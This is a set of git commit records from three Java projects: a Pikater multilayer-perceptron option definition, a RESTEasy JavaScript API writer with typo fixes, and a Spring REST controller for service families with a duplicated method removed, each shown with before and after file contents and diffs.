optionI.setDescription("Normalizing the attributes will NOT be done");
/**
# GUI will be opened.
# (Use this to bring up a GUI).
$ G boolean
**/
NewOption optionG = new NewOption("G", new BooleanValue(false));
optionG.setDescription("GUI will be opened");
/**
# The hidden layers to be created for the network.
# (Value should be a list of comma seperated Natural numbers or the letters 'a' = (attribs + classes) / 2,
# 'i' = attribs, 'o' = classes, 't' = attribs .+ classes) For wildcard values,Default = a).
# type list - length (2 numbers), range (2 numbers) ... max
$ H mixed 1 3 s 2, 3, 4, 5, 6, 7, 8, 9, 10, i, o
**/
ValueType typeHn = new ValueType(new IntegerValue(2), new RangeRestriction(
new IntegerValue(2),
new IntegerValue(10))
);
ValueType typeHs = new ValueType(new StringValue("a"), new SetRestriction(false, new ArrayList<IValueData>(
new ArrayList<IValueData>(Arrays.asList(
new StringValue("a"), new StringValue("i"),
new StringValue("o"), new StringValue("t")))))
);
TypeRestriction restriction = new TypeRestriction(Arrays.asList(typeHn, typeHs));
NewOption optionH = new NewOption("E", new Value(
new IntegerValue(2),
restriction.getTypes().get(0).getRangeRestriction()),
restriction);
optionH.setDescription("The hidden layers to be created for the network");
/**
# A NominalToBinary filter will NOT automatically be used.
# (Set this to not use a NominalToBinary filter).
$ B boolean
***/
NewOption optionB = new NewOption("B", new BooleanValue(false));
optionB.setDescription("A NominalToBinary filter will NOT automatically be used");
/**
# Normalizing a numeric class will NOT be done.
# (Set this to not normalize the class if it's numeric).
$ C boolean
**/
NewOption optionC = new NewOption("C", new BooleanValue(false));
optionC.setDescription("Normalizing a numeric class will NOT be done");
AgentInfo agentInfo = new AgentInfo();
agentInfo.importAgentClass(Agent_WekaMultilayerPerceptronCA.class);
agentInfo.importOntologyClass(ComputingAgent.class);
agentInfo.setName("MultiLayerPerceptron");
agentInfo.setDescription("Multi-layer perceptron method");
agentInfo.addOption(optionC);
agentInfo.addOption(optionB);
agentInfo.addOption(optionG);
agentInfo.addOption(optionI);
agentInfo.addOption(optionD);
agentInfo.addOption(optionE);
agentInfo.addOption(optionS);
agentInfo.addOption(optionV);
agentInfo.addOption(optionN);
agentInfo.addOption(optionM);
agentInfo.addOption(optionL);
agentInfo.addOption(optionH);
agentInfo.addOptions(OptionsHelper.getCAOptions());
// Slots Definition
agentInfo.setInputSlots(SlotsHelper.getInputSlots_CA());
agentInfo.setOutputSlots(SlotsHelper.getOutputSlots_CA());
return agentInfo;
}
}
| src/org/pikater/core/options/computing/MultiLayerPerceptronCA_Box.java | package org.pikater.core.options.computing;
import java.util.ArrayList;
import java.util.Arrays;
import org.pikater.core.agents.experiment.computing.Agent_WekaMultilayerPerceptronCA;
import org.pikater.core.ontology.subtrees.agentInfo.AgentInfo;
import org.pikater.core.ontology.subtrees.batchDescription.ComputingAgent;
import org.pikater.core.ontology.subtrees.newOption.base.NewOption;
import org.pikater.core.ontology.subtrees.newOption.base.Value;
import org.pikater.core.ontology.subtrees.newOption.base.ValueType;
import org.pikater.core.ontology.subtrees.newOption.restrictions.RangeRestriction;
import org.pikater.core.ontology.subtrees.newOption.restrictions.SetRestriction;
import org.pikater.core.ontology.subtrees.newOption.restrictions.TypeRestriction;
import org.pikater.core.ontology.subtrees.newOption.values.BooleanValue;
import org.pikater.core.ontology.subtrees.newOption.values.FloatValue;
import org.pikater.core.ontology.subtrees.newOption.values.IntegerValue;
import org.pikater.core.ontology.subtrees.newOption.values.QuestionMarkRange;
import org.pikater.core.ontology.subtrees.newOption.values.StringValue;
import org.pikater.core.ontology.subtrees.newOption.values.interfaces.IValueData;
import org.pikater.core.options.OptionsHelper;
import org.pikater.core.options.SlotsHelper;
public class MultiLayerPerceptronCA_Box {
public static AgentInfo get() {
/**
# name, type, number of values, parameters range / set
# r ... range
# s ... set (example: s 1, 2, 3, 4, 5, 6, 7, 8)
#
# learning rate, default 0.3; 1 arguments
$ L float 1 1 r 0.001 1
**/
NewOption optionL = new NewOption("L", new FloatValue(0.3f), new RangeRestriction(
new FloatValue(0.001f),
new FloatValue(1.0f))
);
optionL.setDescription("Learning rate");
/**
# Momentum Rate for the back-propagation algorithm., Default = 0.2
$ M float 1 1 r 0 0.9
**/
RangeRestriction rangeRestrictionM = new RangeRestriction(new FloatValue(0.0f), new FloatValue(0.9f));
NewOption optionM = new NewOption("M", new FloatValue(0.2f), rangeRestrictionM);
optionM.getValueRestrictions().fetchByIndex(0).addType(new ValueType(
new QuestionMarkRange(rangeRestrictionM.getMinValue(), rangeRestrictionM.getMaxValue(), 10),
rangeRestrictionM
));
optionM.setDescription("Momentum Rate for the backpropagation algorithm");
/**
# Number of epochs to train through.
$ N int 1 1 r 1 10000
**/
NewOption optionN = new NewOption("N", new IntegerValue(1), new RangeRestriction(
new IntegerValue(1),
new IntegerValue(10000))
);
optionN.setDescription("Number of epochs to train through");
/**
# Percentage size of validation set to use to terminate
# training (if this is non zero it can pre-empt num of epochs.
# (Value should be between 0 - 100, Default = 0).
$ V int 1 1 r 0 100
**/
NewOption optionV = new NewOption("V", new IntegerValue(0), new RangeRestriction(
new IntegerValue(0),
new IntegerValue(100))
);
optionV.setDescription("Percentage size of validation");
/**
# The value used to seed the random number generator
# (Value should be >= 0 and and a long, Default = 0).
$ S int 1 1 r 0 MAXINT
**/
NewOption optionS = new NewOption("S", new IntegerValue(0), new RangeRestriction(
new IntegerValue(0),
new IntegerValue(Integer.MAX_VALUE))
);
optionS.setDescription("Seed the random number generator");
/**
# The consequetive number of errors allowed for validation
# testing before the netwrok terminates.
# (Value should be > 0, Default = 20).
$ E int 1 1 r 0 50
**/
NewOption optionE = new NewOption("E", new IntegerValue(20), new RangeRestriction(
new IntegerValue(0),
new IntegerValue(50))
);
optionE.setDescription("The consequetive number of errors allowed for validation");
/**
# Learning rate decay will occur; 0 arguments
$ D boolean
**/
NewOption optionD = new NewOption("D", new BooleanValue(false));
optionD.setDescription("Learning rate");
/**
# Normalizing the attributes will NOT be done.
$ I boolean
**/
NewOption optionI = new NewOption("I", new BooleanValue(false));
optionI.setDescription("Normalizing the attributes will NOT be done");
/**
# GUI will be opened.
# (Use this to bring up a GUI).
$ G boolean
**/
NewOption optionG = new NewOption("G", new BooleanValue(false));
optionG.setDescription("GUI will be opened");
/**
# The hidden layers to be created for the network.
# (Value should be a list of comma seperated Natural numbers or the letters 'a' = (attribs + classes) / 2,
# 'i' = attribs, 'o' = classes, 't' = attribs .+ classes) For wildcard values,Default = a).
# type list - length (2 numbers), range (2 numbers) ... max
$ H mixed 1 3 s 2, 3, 4, 5, 6, 7, 8, 9, 10, i, o
**/
ValueType typeHn = new ValueType(new IntegerValue(2), new RangeRestriction(
new IntegerValue(2),
new IntegerValue(10))
);
ValueType typeHs = new ValueType(new StringValue("a"), new SetRestriction(false, new ArrayList<IValueData>(
new ArrayList<IValueData>(Arrays.asList(
new StringValue("a"), new StringValue("i"),
new StringValue("o"), new StringValue("t")))))
);
TypeRestriction restriction = new TypeRestriction(Arrays.asList(typeHn, typeHs));
NewOption optionH = new NewOption("E", new Value(
new IntegerValue(2),
restriction.getTypes().get(0).getRangeRestriction()),
restriction);
optionH.setDescription("The hidden layers to be created for the network");
/**
# A NominalToBinary filter will NOT automatically be used.
# (Set this to not use a NominalToBinary filter).
$ B boolean
***/
NewOption optionB = new NewOption("B", new BooleanValue(false));
optionB.setDescription("A NominalToBinary filter will NOT automatically be used");
/**
# Normalizing a numeric class will NOT be done.
# (Set this to not normalize the class if it's numeric).
$ C boolean
**/
NewOption optionC = new NewOption("C", new BooleanValue(false));
optionC.setDescription("Normalizing a numeric class will NOT be done");
AgentInfo agentInfo = new AgentInfo();
agentInfo.importAgentClass(Agent_WekaMultilayerPerceptronCA.class);
agentInfo.importOntologyClass(ComputingAgent.class);
agentInfo.setName("MultiLayerPerceptron");
agentInfo.setDescription("Multi-layer perceptron method");
agentInfo.addOption(optionC);
agentInfo.addOption(optionB);
agentInfo.addOption(optionG);
agentInfo.addOption(optionI);
agentInfo.addOption(optionD);
agentInfo.addOption(optionE);
agentInfo.addOption(optionS);
agentInfo.addOption(optionV);
agentInfo.addOption(optionN);
agentInfo.addOption(optionM);
agentInfo.addOption(optionL);
agentInfo.addOption(optionH);
agentInfo.addOptions(OptionsHelper.getCAOptions());
// Slots Definition
agentInfo.setInputSlots(SlotsHelper.getInputSlots_CA());
agentInfo.setOutputSlots(SlotsHelper.getOutputSlots_CA());
return agentInfo;
}
}
| MultiLayerPerceptronCA_Box - Bug fix
| src/org/pikater/core/options/computing/MultiLayerPerceptronCA_Box.java | MultiLayerPerceptronCA_Box - Bug fix | <ide><path>rc/org/pikater/core/options/computing/MultiLayerPerceptronCA_Box.java
<ide> import org.pikater.core.ontology.subtrees.newOption.restrictions.SetRestriction;
<ide> import org.pikater.core.ontology.subtrees.newOption.restrictions.TypeRestriction;
<ide> import org.pikater.core.ontology.subtrees.newOption.values.BooleanValue;
<add>import org.pikater.core.ontology.subtrees.newOption.values.DoubleValue;
<ide> import org.pikater.core.ontology.subtrees.newOption.values.FloatValue;
<ide> import org.pikater.core.ontology.subtrees.newOption.values.IntegerValue;
<ide> import org.pikater.core.ontology.subtrees.newOption.values.QuestionMarkRange;
<ide> # Momentum Rate for the back-propagation algorithm., Default = 0.2
<ide> $ M float 1 1 r 0 0.9
<ide> **/
<del> RangeRestriction rangeRestrictionM = new RangeRestriction(new FloatValue(0.0f), new FloatValue(0.9f));
<del> NewOption optionM = new NewOption("M", new FloatValue(0.2f), rangeRestrictionM);
<add> RangeRestriction rangeRestrictionM = new RangeRestriction(new DoubleValue(0.0), new DoubleValue(0.9));
<add> NewOption optionM = new NewOption("M", new DoubleValue(0.2), rangeRestrictionM);
<ide> optionM.getValueRestrictions().fetchByIndex(0).addType(new ValueType(
<ide> new QuestionMarkRange(rangeRestrictionM.getMinValue(), rangeRestrictionM.getMaxValue(), 10),
<ide> rangeRestrictionM |
|
Java | apache-2.0 | 5fcb6f18a00d0d230a5ebaf0e264967a586d9dec | 0 | psakar/Resteasy,awhitford/Resteasy,awhitford/Resteasy,psakar/Resteasy,rankinc/Resteasy,awhitford/Resteasy,rankinc/Resteasy,rankinc/Resteasy,psakar/Resteasy,awhitford/Resteasy,awhitford/Resteasy,psakar/Resteasy,rankinc/Resteasy | package org.jboss.resteasy.jsapi;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.Reader;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.regex.Matcher;
import org.jboss.resteasy.util.PathHelper;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* @author Stéphane Épardaud <[email protected]>
*/
public class JSAPIWriter
{
private static final long serialVersionUID = -1985015444704126795L;
private final static Logger logger = LoggerFactory
.getLogger(JSAPIWriter.class);
private String restPath;
public JSAPIWriter(String restPath)
{
this.restPath = restPath;
}
public void writeJavaScript(String uri, PrintWriter writer,
List<MethodMetaData> methodMetaDataList) throws IOException
{
if(restPath != null)
uri = uri + restPath;
logger.info("rest path: " + uri);
writer.println("// start RESTEasy client API");
copyResource("/resteasy-client.js", writer);
// writer.println("// start RESTEasy JS framework API");
// copyResource("/resteasy-jsframework.js", writer);
writer.println("// start JAX-RS API");
writer.println("REST.apiURL = '" + uri + "';");
Set<String> declaringClasses = new HashSet<String>();
for (MethodMetaData methodMetaData : methodMetaDataList)
{
logger.info("Path: " + methodMetaData.getKey());
logger.info(" Invoker: " + methodMetaData.getResource());
String declaringClass = methodMetaData.getMethod().getDeclaringClass()
.getSimpleName();
if (declaringClasses.add(declaringClass))
{
writer.println("var " + declaringClass + " = {};");
}
for (String httpMethod : methodMetaData.getHttpMethods())
{
print(writer, httpMethod, methodMetaData);
}
}
}
private void copyResource(String name, PrintWriter writer)
throws IOException
{
Reader reader = new InputStreamReader(getClass()
.getResourceAsStream(name));
char[] array = new char[1024];
int read;
while ((read = reader.read(array)) >= 0)
{
writer.write(array, 0, read);
}
reader.close();
}
private void print(PrintWriter writer, String httpMethod,
MethodMetaData methodMetaData)
{
String uri = methodMetaData.getUri();
writer.println("// " + httpMethod + " " + uri);
writer
.println(methodMetaData.getFunctionName() + " = function(_params){");
writer.println(" var params = _params ? _params : {};");
writer.println(" var request = new REST.Request();");
writer.println(" request.setMethod('" + httpMethod + "');");
writer
.println(" var uri = params.$apiURL ? params.$apiURL : REST.apiURL;");
if (uri.contains("{"))
{
printURIParams(uri, writer);
} else
{
writer.println(" uri += '" + uri + "';");
}
printOtherParams(methodMetaData, writer);
writer.println(" request.setURI(uri);");
writer.println(" if(params.$username && params.$password)");
writer
.println(" request.setCredentials(params.$username, params.$password);");
writer.println(" if(params.$accepts)");
writer.println(" request.setAccepts(params.$accepts);");
if (methodMetaData.getWants() != null)
{
writer.println(" else");
writer.println(" request.setAccepts('" + methodMetaData.getWants()
+ "');");
}
writer.println(" if(params.$contentType)");
writer.println(" request.setContentType(params.$contentType);");
writer.println(" else");
writer.println(" request.setContentType('"
+ methodMetaData.getConsumesMIMEType() + "');");
writer.println(" if(params.$callback){");
writer.println(" request.execute(params.$callback);");
writer.println(" }else{");
writer.println(" var returnValue;");
writer.println(" request.setAsync(false);");
writer
.println(" var callback = function(httpCode, xmlHttpRequest, value){ returnValue = value;};");
writer.println(" request.execute(callback);");
writer.println(" return returnValue;");
writer.println(" }");
writer.println("};");
}
private void printOtherParams(MethodMetaData methodMetaData,
PrintWriter writer)
{
List<MethodParamMetaData> params = methodMetaData.getParameters();
for (MethodParamMetaData methodParamMetaData : params)
{
printParameter(methodParamMetaData, writer);
}
}
private void printParameter(MethodParamMetaData metaData,
PrintWriter writer)
{
switch(metaData.getParamType()){
case QUERY_PARAMETER:
print(metaData, writer, "QueryParameter");
break;
case HEADER_PARAMETER:
print(metaData, writer, "Header");
// FIXME: warn about forbidden headers:
// http://www.w3.org/TR/XMLHttpRequest/#the-setrequestheader-method
break;
case COOKIE_PARAMETER:
print(metaData, writer, "Cookie");
break;
case MATRIX_PARAMETER:
print(metaData, writer, "MatrixParameter");
break;
case FORM_PARAMETER:
// FIXME: handle this;
break;
case ENTITY_PARAMETER:
// the entity
writer.println(" if(params.$entity)");
writer.println(" request.setEntity(params.$entity);");
break;
}
}
private void print(MethodParamMetaData metaData, PrintWriter writer,
String type)
{
String paramName = metaData.getParamName();
writer.println(String.format(" if(params.%s)\n request.add%s('%s', params.%s);", paramName, type, paramName, paramName));
}
private void printURIParams(String uri, PrintWriter writer)
{
String replacedCurlyURI = PathHelper.replaceEnclosedCurlyBraces(uri);
Matcher matcher = PathHelper.URI_PARAM_PATTERN.matcher(replacedCurlyURI);
int i = 0;
while (matcher.find())
{
if (matcher.start() > i)
{
writer.println(" uri += '"
+ replacedCurlyURI.substring(i, matcher.start()) + "';");
}
String name = matcher.group(1);
writer.println(" uri += REST.encodePathSegment(params." + name + ");");
i = matcher.end();
}
if (i < replacedCurlyURI.length())
writer.println(" uri += '" + replacedCurlyURI.substring(i) + "';");
}
}
| jaxrs/resteasy-jsapi/src/main/java/org/jboss/resteasy/jsapi/JSAPIWriter.java | package org.jboss.resteasy.jsapi;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.Reader;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.regex.Matcher;
import org.jboss.resteasy.util.PathHelper;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* @author Stéphane Épardaud <[email protected]>
*/
public class JSAPIWriter
{
private static final long serialVersionUID = -1985015444704126795L;
private final static Logger logger = LoggerFactory
.getLogger(JSAPIWriter.class);
private String restPath;
public JSAPIWriter(String restPath)
{
this.restPath = restPath;
}
public void writeJavaScript(String uri, PrintWriter writer,
List<MethodMetaData> methodMetaDataList) throws IOException
{
uri = restPath + uri;
logger.info("rest path: " + uri);
writer.println("// start RESTEasy client API");
copyResource("/resteasy-client.js", writer);
// writer.println("// start RESTEasy JS framework API");
// copyResource("/resteasy-jsframework.js", writer);
writer.println("// start JAX-RS API");
writer.println("REST.apiURL = '" + uri + "';");
Set<String> declaringClasses = new HashSet<String>();
for (MethodMetaData methodMetaData : methodMetaDataList)
{
logger.info("Path: " + methodMetaData.getKey());
logger.info(" Invoker: " + methodMetaData.getResource());
String declaringClass = methodMetaData.getMethod().getDeclaringClass()
.getSimpleName();
if (declaringClasses.add(declaringClass))
{
writer.println("var " + declaringClass + " = {};");
}
for (String httpMethod : methodMetaData.getHttpMethods())
{
print(writer, httpMethod, methodMetaData);
}
}
}
private void copyResource(String name, PrintWriter writer)
throws IOException
{
Reader reader = new InputStreamReader(getClass()
.getResourceAsStream(name));
char[] array = new char[1024];
int read;
while ((read = reader.read(array)) >= 0)
{
writer.write(array, 0, read);
}
reader.close();
}
private void print(PrintWriter writer, String httpMethod,
MethodMetaData methodMetaData)
{
String uri = methodMetaData.getUri();
writer.println("// " + httpMethod + " " + uri);
writer
.println(methodMetaData.getFunctionName() + " = function(_params){");
writer.println(" var params = _params ? _params : {};");
writer.println(" var request = new REST.Request();");
writer.println(" request.setMethod('" + httpMethod + "');");
writer
.println(" var uri = params.$apiURL ? params.$apiURL : REST.apiURL;");
if (uri.contains("{"))
{
printURIParams(uri, writer);
} else
{
writer.println(" uri += '" + uri + "';");
}
printOtherParams(methodMetaData, writer);
writer.println(" request.setURI(uri);");
writer.println(" if(params.$username && params.$password)");
writer
.println(" request.setCredentials(params.$username, params.$password);");
writer.println(" if(params.$accepts)");
writer.println(" request.setAccepts(params.$accepts);");
if (methodMetaData.getWants() != null)
{
writer.println(" else");
writer.println(" request.setAccepts('" + methodMetaData.getWants()
+ "');");
}
writer.println(" if(params.$contentType)");
writer.println(" request.setContentType(params.$contentType);");
writer.println(" else");
writer.println(" request.setContentType('"
+ methodMetaData.getConsumesMIMEType() + "');");
writer.println(" if(params.$callback){");
writer.println(" request.execute(params.$callback);");
writer.println(" }else{");
writer.println(" var returnValue;");
writer.println(" request.setAsync(false);");
writer
.println(" var callback = function(httpCode, xmlHttpRequest, value){ returnValue = value;};");
writer.println(" request.execute(callback);");
writer.println(" return returnValue;");
writer.println(" }");
writer.println("};");
}
private void printOtherParams(MethodMetaData methodMetaData,
PrintWriter writer)
{
List<MethodParamMetaData> params = methodMetaData.getParameters();
for (MethodParamMetaData methodParamMetaData : params)
{
printParameter(methodParamMetaData, writer);
}
}
private void printParameter(MethodParamMetaData metaData,
PrintWriter writer)
{
switch(metaData.getParamType()){
case QUERY_PARAMETER:
print(metaData, writer, "QueryPrameter");
break;
case HEADER_PARAMETER:
print(metaData, writer, "Header");
// FIXME: warn about forbidden headers:
// http://www.w3.org/TR/XMLHttpRequest/#the-setrequestheader-method
break;
case COOKIE_PARAMETER:
print(metaData, writer, "Cookie");
break;
case MATRIX_PARAMETER:
print(metaData, writer, "Mtrix");
break;
case FORM_PARAMETER:
// FIXME: handle this;
break;
case ENTITY_PARAMETER:
// the entity
writer.println(" if(params.$entity)");
writer.println(" request.setEntity(params.$entity);");
break;
}
}
private void print(MethodParamMetaData metaData, PrintWriter writer,
String type)
{
String paramName = metaData.getParamName();
writer.println(String.format(" if(params.%s)\n request.add%s('%s', params.%s);", paramName, type, paramName, paramName));
}
private void printURIParams(String uri, PrintWriter writer)
{
String replacedCurlyURI = PathHelper.replaceEnclosedCurlyBraces(uri);
Matcher matcher = PathHelper.URI_PARAM_PATTERN.matcher(replacedCurlyURI);
int i = 0;
while (matcher.find())
{
if (matcher.start() > i)
{
writer.println(" uri += '"
+ replacedCurlyURI.substring(i, matcher.start()) + "';");
}
String name = matcher.group(1);
writer.println(" uri += REST.encodePathSegment(params." + name + ");");
i = matcher.end();
}
if (i < replacedCurlyURI.length())
writer.println(" uri += '" + replacedCurlyURI.substring(i) + "';");
}
}
| Fixed a few typos thanks to the secret unit tests ;)
git-svn-id: e4901c95dba1db2da44dfc7eaf6e785b47b9dfb3@909 2b1ed4c4-5db3-0410-90e4-80a7a6204c25
| jaxrs/resteasy-jsapi/src/main/java/org/jboss/resteasy/jsapi/JSAPIWriter.java | Fixed a few typos thanks to the secret unit tests ;) | <ide><path>axrs/resteasy-jsapi/src/main/java/org/jboss/resteasy/jsapi/JSAPIWriter.java
<ide> public void writeJavaScript(String uri, PrintWriter writer,
<ide> List<MethodMetaData> methodMetaDataList) throws IOException
<ide> {
<del> uri = restPath + uri;
<add> if(restPath != null)
<add> uri = uri + restPath;
<ide> logger.info("rest path: " + uri);
<ide>
<ide> writer.println("// start RESTEasy client API");
<ide> {
<ide> switch(metaData.getParamType()){
<ide> case QUERY_PARAMETER:
<del> print(metaData, writer, "QueryPrameter");
<add> print(metaData, writer, "QueryParameter");
<ide> break;
<ide> case HEADER_PARAMETER:
<ide> print(metaData, writer, "Header");
<ide> print(metaData, writer, "Cookie");
<ide> break;
<ide> case MATRIX_PARAMETER:
<del> print(metaData, writer, "Mtrix");
<add> print(metaData, writer, "MatrixParameter");
<ide> break;
<ide> case FORM_PARAMETER:
<ide> // FIXME: handle this; |
|
Java | mit | 49bf59aaea2b867389447041a77820c73645889d | 0 | hilmimourad/mm-presta | package control.open;
import business.data.FamillePrestationDAO;
import business.model.FamillePrestation;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import utilities.ExceptionHandler;
import java.util.HashMap;
import java.util.List;
/**
* Created by mourad on 7/21/2016.
*/
@RestController
@RequestMapping("/open/famillesPrestation")
public class FamillesPrestation {
@RequestMapping(value = "/action.do",method = RequestMethod.GET,produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<String> getAll(){
return getService(_ALL,null);
}
@RequestMapping(value = "/meres/action.do",method = RequestMethod.GET,produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<String> getAllSuper(){
return getService(_SUPERS,null);
}
@RequestMapping(value = "/{id}/action.do",method = RequestMethod.GET,produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<String> getOne(@PathVariable("id")String id){
return getService(_ONE_BY_ID,id);
}
@RequestMapping(value = "/{code}/code/action.do",method = RequestMethod.GET,produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<String> getOneByCode(@PathVariable("code")String code){
return getService(_ONE_BY_CODE,code);
}
/**UTILITY Methodes**/
private ResponseEntity<String> getService(int style,String value){
List<FamillePrestation> listFamilles = null;
FamillePrestation fp = null;
ObjectMapper om = new ObjectMapper();
try{
if(style == _ALL || style==_SUPERS){
listFamilles = style == _ALL ? FamillePrestationDAO.getAll() : FamillePrestationDAO.getAllSuper();
}
else if(style==_ONE_BY_CODE || style == _ONE_BY_ID){
fp = style==_ONE_BY_ID ? FamillePrestationDAO.getFamillePrestation(Long.parseLong(value)):FamillePrestationDAO.find(value);
}
else{
throw new IllegalArgumentException();
}
if((listFamilles==null && (style==_ALL || style==_SUPERS))){
HashMap<String,String> error = new HashMap<String, String>();
error.put("reason","database exception");
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(om.writeValueAsString(error));
}
if(fp==null&& (style==_ONE_BY_CODE || style==_ONE_BY_ID)){
HashMap<String,String> error = new HashMap<String, String>();
error.put("reason","no data found");
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(om.writeValueAsString(error));
}
return ResponseEntity.ok(om.writeValueAsString(style==_ALL || style == _SUPERS ? listFamilles:fp));
}catch (Exception e){
ExceptionHandler.handleException("unkown exception at open/FamillesPrestation::getService",e);
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("{\"reason\":\"unkown exception\"}exception");
}
}
private static final int _ALL = 1;
private static final int _SUPERS = 2;
private static final int _ONE_BY_ID=3;
private static final int _ONE_BY_CODE=4;
}
| src/main/java/control/open/FamillesPrestation.java | package control.open;
import business.data.FamillePrestationDAO;
import business.model.FamillePrestation;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import utilities.ExceptionHandler;
import java.util.HashMap;
import java.util.List;
/**
* Created by mourad on 7/21/2016.
*/
@RestController
@RequestMapping("/open/famillesPrestation")
public class FamillesPrestation {
@RequestMapping(value = "/action.do",method = RequestMethod.GET,produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<String> getAll(){
return getService(_ALL,null);
}
@RequestMapping(value = "/meres/action.do",method = RequestMethod.GET,produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<String> getAllSuper(){
return getService(_SUPERS,null);
}
@RequestMapping(value = "/{id}/action.do",method = RequestMethod.GET,produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<String> getOne(@PathVariable("id")String id){
return getService(_ONE_BY_ID,id);
}
@RequestMapping(value = "/{code}/code/action.do",method = RequestMethod.GET,produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<String> getOneByCode(@PathVariable("code")String code){
return getService(_ONE_BY_CODE,code);
}
/**UTILITY Methodes**/
private ResponseEntity<String> getService(int style,String value){
List<FamillePrestation> listFamilles = null;
FamillePrestation fp = null;
ObjectMapper om = new ObjectMapper();
try{
if(style == _ALL || style==_SUPERS){
listFamilles = style == _ALL ? FamillePrestationDAO.getAll() : FamillePrestationDAO.getAllSuper();
}
else if(style==_ONE_BY_CODE || style == _ONE_BY_ID){
fp = style==_ONE_BY_ID ? FamillePrestationDAO.getFamillePrestation(Long.parseLong(value)):FamillePrestationDAO.find(value);
}
else{
throw new IllegalArgumentException();
}
if((listFamilles==null && (style==_ALL || style==_SUPERS))){
HashMap<String,String> error = new HashMap<String, String>();
error.put("reason","database exception");
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(om.writeValueAsString(error));
}
if(fp==null&& (style==_ONE_BY_CODE || style==_ONE_BY_ID)){
HashMap<String,String> error = new HashMap<String, String>();
error.put("reason","no data found");
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(om.writeValueAsString(error));
}
return ResponseEntity.ok(om.writeValueAsString(style==_ALL || style == _SUPERS ? listFamilles:fp));
}catch (Exception e){
ExceptionHandler.handleException("unkown exception at open/FamillesPrestation::getService",e);
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("{\"reason\":\"unkown exception\"}exception");
}
}
private static final int _ALL = 1;
private static final int _SUPERS = 2;
private static final int _ONE_BY_ID=3;
/**UTILITY Methodes**/
private ResponseEntity<String> getService(int style,String value){
List<FamillePrestation> listFamilles = null;
FamillePrestation fp = null;
ObjectMapper om = new ObjectMapper();
try{
if(style == _ALL || style==_SUPERS){
listFamilles = style == _ALL ? FamillePrestationDAO.getAll() : FamillePrestationDAO.getAllSuper();
}
else if(style==_ONE_BY_CODE || style == _ONE_BY_ID){
fp = style==_ONE_BY_ID ? FamillePrestationDAO.getFamillePrestation(Long.parseLong(value)):FamillePrestationDAO.find(value);
}
else{
throw new IllegalArgumentException();
}
if((listFamilles==null && (style==_ALL || style==_SUPERS))){
HashMap<String,String> error = new HashMap<String, String>();
error.put("reason","database exception");
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(om.writeValueAsString(error));
}
if(fp==null&& (style==_ONE_BY_CODE || style==_ONE_BY_ID)){
HashMap<String,String> error = new HashMap<String, String>();
error.put("reason","no data found");
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(om.writeValueAsString(error));
}
return ResponseEntity.ok(om.writeValueAsString(style==_ALL || style == _SUPERS ? listFamilles:fp));
}catch (Exception e){
ExceptionHandler.handleException("unkown exception at open/FamillesPrestation::getService",e);
return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body("{\"reason\":\"unkown exception\"}exception");
}
} private static final int _ONE_BY_CODE=4;
}
| Model classes
| src/main/java/control/open/FamillesPrestation.java | Model classes | <ide><path>rc/main/java/control/open/FamillesPrestation.java
<ide>
<ide> import java.util.HashMap;
<ide> import java.util.List;
<add>
<ide>
<ide> /**
<ide> * Created by mourad on 7/21/2016.
<ide> private static final int _ALL = 1;
<ide> private static final int _SUPERS = 2;
<ide> private static final int _ONE_BY_ID=3;
<del> /**UTILITY Methodes**/
<del> private ResponseEntity<String> getService(int style,String value){
<del> List<FamillePrestation> listFamilles = null;
<del> FamillePrestation fp = null;
<del>
<del> ObjectMapper om = new ObjectMapper();
<del> try{
<del> if(style == _ALL || style==_SUPERS){
<del> listFamilles = style == _ALL ? FamillePrestationDAO.getAll() : FamillePrestationDAO.getAllSuper();
<del> }
<del> else if(style==_ONE_BY_CODE || style == _ONE_BY_ID){
<del> fp = style==_ONE_BY_ID ? FamillePrestationDAO.getFamillePrestation(Long.parseLong(value)):FamillePrestationDAO.find(value);
<del> }
<del> else{
<del> throw new IllegalArgumentException();
<del> }
<del>
<del> if((listFamilles==null && (style==_ALL || style==_SUPERS))){
<del> HashMap<String,String> error = new HashMap<String, String>();
<del> error.put("reason","database exception");
<del> return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(om.writeValueAsString(error));
<del> }
<del>
<del> if(fp==null&& (style==_ONE_BY_CODE || style==_ONE_BY_ID)){
<del> HashMap<String,String> error = new HashMap<String, String>();
<del> error.put("reason","no data found");
<del> return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(om.writeValueAsString(error));
<del> }
<del>
